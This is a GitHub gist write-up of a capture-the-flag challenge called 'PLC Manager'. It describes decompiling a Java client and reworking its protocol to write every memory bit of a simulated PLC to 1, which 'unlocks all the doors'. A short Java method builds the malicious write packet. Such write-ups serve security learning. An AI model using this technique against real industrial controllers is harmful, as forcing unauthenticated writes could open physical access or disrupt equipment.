Skip to content

Instantly share code, notes, and snippets.

@LoadLow
Last active October 21, 2019 21:22
Show Gist options
  • Save LoadLow/1186c4587b38a4044462d0aaa0c311fa to your computer and use it in GitHub Desktop.
Save LoadLow/1186c4587b38a4044462d0aaa0c311fa to your computer and use it in GitHub Desktop.
ECW Prequals - Challenge "PLC Manager"

It was a .jar file.

We just had to decompile it, analyze a bit the protocol and find a way to write all the bits in memory to 1 instead of reading them, in order to "unlock all the doors".

public boolean write_var(final long n) {
byte[] toSend = new byte[128];
toSend[0] = 0; //iDontKnow
toSend[1] = 2; //writeCommand
toSend[2] = 0; //startOffset
toSend[3] = (byte)255; //length
for(int i = 4; i < toSend.length; ++i) {
toSend[i] = 1;
}
final byte[] send_and_rcv = this.send_and_rcv(this.build_header(n, toSend));
System.out.println(javax.xml.bind.DatatypeConverter.printHexBinary(send_and_rcv));
return send_and_rcv != null;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment